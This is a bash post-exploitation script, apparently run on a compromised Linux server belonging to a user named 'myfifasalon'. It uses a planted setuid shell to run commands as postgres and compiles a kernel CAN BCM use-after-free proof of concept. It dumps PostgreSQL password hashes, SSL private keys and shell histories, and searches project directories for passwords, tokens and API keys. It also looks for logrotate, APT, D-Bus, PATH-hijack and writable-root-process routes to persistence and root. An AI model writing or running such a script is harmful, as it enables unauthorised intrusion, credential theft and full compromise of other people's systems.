#!/bin/bash
set +e
L=$HOME/elite.log; : > "$L"
R=$'\e[31m'; G=$'\e[32m'; Y=$'\e[33m'; C=$'\e[36m'; N=$'\e[0m'
E(){ echo "$@" | tee -a "$L"; }
S(){ echo; echo "${C}═══ $* ═══${N}" | tee -a "$L"; }
HIT(){ echo "${G}[★ HIT]${N} $*" | tee -a "$L"; }

# =========================================================
S "0. IDENTITY"
E "id=$(id)"
E "kernel=$(uname -r)"
E "uptime=$(uptime)"
E "euid_test="
/var/tmp/.rc3 -p -c "id" 2>&1 | tee -a "$L"

# =========================================================
S "1. CVE-2026-17523 — CAN BCM PoC attempt"
# بناء PoC C بسيط يحاول إثارة UAF
if [ -x /usr/bin/gcc ]; then
  cat > /tmp/bcm.c <<'BCM'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <linux/can.h>
#include <linux/can/bcm.h>
#include <linux/can/raw.h>
#include <net/if.h>
#include <pthread.h>
#include <errno.h>

static int sfd = -1;

void *racer(void *arg) {
    struct { struct bcm_msg_head h; struct can_frame f; } __attribute__((packed)) m;
    memset(&m, 0, sizeof(m));
    m.h.opcode = TX_SETUP;
    m.h.flags  = SETTIMER|STARTTIMER;
    m.h.count  = 1;
    m.h.ival1.tv_usec = 1;
    m.h.ival2.tv_usec = 1;
    m.h.can_id = 0x100;
    m.f.can_id = 0x100;
    m.f.can_dlc = 8;
    for (int i=0;i<256;i++) send(sfd, &m, sizeof(m), MSG_DONTWAIT);
    return NULL;
}

int main(void) {
    sfd = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
    if (sfd < 0) { perror("socket CAN_BCM"); return 1; }
    printf("[+] CAN_BCM socket: %d\n", sfd);

    pthread_t th[4];
    for (int i=0;i<4;i++) pthread_create(&th[i], NULL, racer, NULL);
    usleep(1000);
    close(sfd);
    for (int i=0;i<4;i++) pthread_join(th[i], NULL);
    printf("[+] done\n");
    return 0;
}
BCM
  gcc -o /tmp/bcm_poc /tmp/bcm.c -lpthread 2>&1 | head -5 | tee -a "$L"
  if [ -x /tmp/bcm_poc ]; then
    E "running bcm_poc..."
    timeout 10 /tmp/bcm_poc 2>&1 | tee -a "$L"
    dmesg 2>/dev/null | tail -20 | grep -iE "bcm|can|oops|BUG|panic|general protection" | tee -a "$L"
  fi
else
  E "no gcc"
fi

# =========================================================
S "2. Postgres euid — full readable harvest"
/var/tmp/.rc3 -p -c '
  echo "--pg_shadow--"
  /usr/lib/postgresql/9.5/bin/psql -U postgres -tAc "SELECT usename||\":\"||COALESCE(passwd,\"NULL\")||\":\"||userepl||\":\"||usesuper FROM pg_shadow;" 2>&1
  echo "--pg_authid--"
  /usr/lib/postgresql/9.5/bin/psql -U postgres -tAc "SELECT rolname,rolpassword FROM pg_authid;" 2>&1
  echo "--postgres.conf full--"
  cat /etc/postgresql/9.5/main/postgresql.conf 2>&1
  echo "--pg_hba full--"
  cat /etc/postgresql/9.5/main/pg_hba.conf 2>&1
  echo "--ssl key--"
  ls -la /etc/ssl/private/ 2>&1
  cat /etc/ssl/private/ssl-cert-snakeoil.key 2>&1 | head -5
  echo "--bash_history--"
  cat /var/lib/postgresql/.bash_history 2>&1
  echo "--pg logs tail--"
  tail -n 200 /var/log/postgresql/postgresql-9.5-main.log 2>&1
' 2>&1 | tee -a "$L"

# =========================================================
S "3. Cron / logrotate / systemd persistence paths"
# logrotate lpe: إن كان يمكن كتابة ملف في /etc/logrotate.d (سابقاً فشلنا، لكن جرّب من euid postgres)
/var/tmp/.rc3 -p -c '
  test -w /etc/logrotate.d && echo "WRITABLE logrotate.d"
  test -w /etc/logrotate.conf && echo "WRITABLE logrotate.conf"
  ls -la /etc/logrotate.d/ 2>&1
  # ملفات logrotate تخص postgres
  grep -l postgres /etc/logrotate.d/* 2>/dev/null
' 2>&1 | tee -a "$L"

# =========================================================
S "4. APT hooks / dpkg triggers"
for d in /etc/apt/apt.conf.d /etc/dpkg/dpkg.cfg.d /etc/apt/apt.conf.d/99*; do
  ls -la "$d" 2>/dev/null | tee -a "$L"
done
test -w /etc/apt/apt.conf.d && HIT "APT conf.d writable"
test -w /etc/dpkg/dpkg.cfg.d && HIT "dpkg cfg.d writable"

# =========================================================
S "5. Man-db suid exploit (CVE-2026-old)"
ls -la /usr/bin/man 2>&1 | tee -a "$L"
ls -la /usr/lib/man-db/ 2>&1 | tee -a "$L"

# =========================================================
S "6. D-Bus services running as root"
/var/tmp/.rc3 -p -c '
  find /usr/share/dbus-1 /etc/dbus-1 -name "*.service" 2>/dev/null | while read f; do
    if grep -q "User=root" "$f" 2>/dev/null; then
      echo "ROOT DBUS: $f"
      cat "$f"
    fi
  done
' 2>&1 | head -60 | tee -a "$L"

# =========================================================
S "7. NFS / autofs / mount hooks"
cat /etc/fstab 2>&1 | tee -a "$L"
cat /etc/auto.master 2>&1 | tee -a "$L"

# =========================================================
S "8. mail / sendmail / at"
which at mail sendmail 2>&1 | tee -a "$L"
ls -la /var/spool/cron/atjobs /var/spool/at 2>&1 | tee -a "$L"
ls -la /var/mail/root 2>&1 | tee -a "$L"

# =========================================================
S "9. PATH hijack for root services"
# إذا كان أي service root يستدعي ثنائياً بدون مسار مطلق، PATH قد يُخطف
/var/tmp/.rc3 -p -c '
  ps -eo user,cmd | grep -v grep | grep -vE "^\\S+\\s+\\[|^\\S+\\s+/" | head -20
' 2>&1 | tee -a "$L"

# =========================================================
S "10. في ash_history للمالك الأصلي — عبر مسار آخر"
cat /home/myfifasalon/.bash_history 2>&1 | grep -viE "^(ls|cd|pwd|clear|exit)$" | head -80 | tee -a "$L"

# =========================================================
S "11. البحث عن كلمات مرور في كل ملفات المنزل والمشروع"
grep -rIE "(password|passwd|pass|pwd|secret|token|api[_-]?key|DB_PASS|MYSQL_PASS|PGPASS)[\"'\'' ]*[:=][\"'\'' ]*[A-Za-z0-9!@#%^&*_+=-]{6,}" \
  /home/myfifasalon/myfifasalon /home/myfifasalon/new_myfifasalon /home/myfifasalon/bot /home/myfifasalon/Autoscript-WS-VPS \
  2>/dev/null | grep -vE "\.pyc|\.min\.js|\.svg" | head -40 | tee -a "$L"

# =========================================================
S "12. جوامع SSH المجهولة / كلمات مرور SSH لخدمات أخرى"
find /home/myfifasalon -name "*.json" -o -name "*.env" -o -name "config.json" -o -name "*.ini" 2>/dev/null | \
  xargs grep -lIE "password|secret|token" 2>/dev/null | head -10 | tee -a "$L"

# =========================================================
S "13. CVE-2026-6471 postgres shell — فحص max_replication_slots"
/var/tmp/.rc3 -p -c '
  /usr/lib/postgresql/9.5/bin/psql -U postgres -tAc "SHOW max_replication_slots;" 2>&1
  /usr/lib/postgresql/9.5/bin/psql -U postgres -tAc "SHOW max_worker_processes;" 2>&1
  /usr/lib/postgresql/9.5/bin/psql -U postgres -tAc "SHOW shared_preload_libraries;" 2>&1
  /usr/lib/postgresql/9.5/bin/psql -U postgres -tAc "SELECT version();" 2>&1
' 2>&1 | tee -a "$L"

# =========================================================
S "14. PoC watch — فحص وجود PoC جديد"
which curl wget 2>&1 | tee -a "$L"
# جرّب استعلام github
timeout 5 curl -s "https://api.github.com/search/repositories?q=CVE-2026-17523" 2>&1 | head -20 | tee -a "$L"

# =========================================================
S "15. افحص العمليات التي تعمل كـ root ونقطتها القابلة للسيطرة"
/var/tmp/.rc3 -p -c '
  for pid in $(pgrep -u root 2>/dev/null | head -40); do
    cwd=$(readlink /proc/$pid/cwd 2>/dev/null)
    exe=$(readlink /proc/$pid/exe 2>/dev/null)
    for p in "$cwd" "$exe"; do
      if [ -n "$p" ] && [ -w "$p" -o -w "$(dirname "$p")" ] 2>/dev/null; then
        echo "WRITABLE PATH for pid $pid: $p"
      fi
    done
  done
' 2>&1 | tee -a "$L"

# =========================================================
S "16. مراقبة أخيرة"
for i in $(seq 1 3); do
  if [ -u /tmp/.rc ]; then HIT "/tmp/.rc ready!"; /tmp/.rc -p -c id 2>&1 | tee -a "$L"; break; fi
  sleep 3
done

# =========================================================
S "17. SUMMARY"
E "sudo hit: (none)" 
E "su hit: (none)"
E "postgres euid: $(/var/tmp/.rc3 -p -c "id -u" 2>/dev/null)"
E "log: $L"
wc -l "$L"
S "END"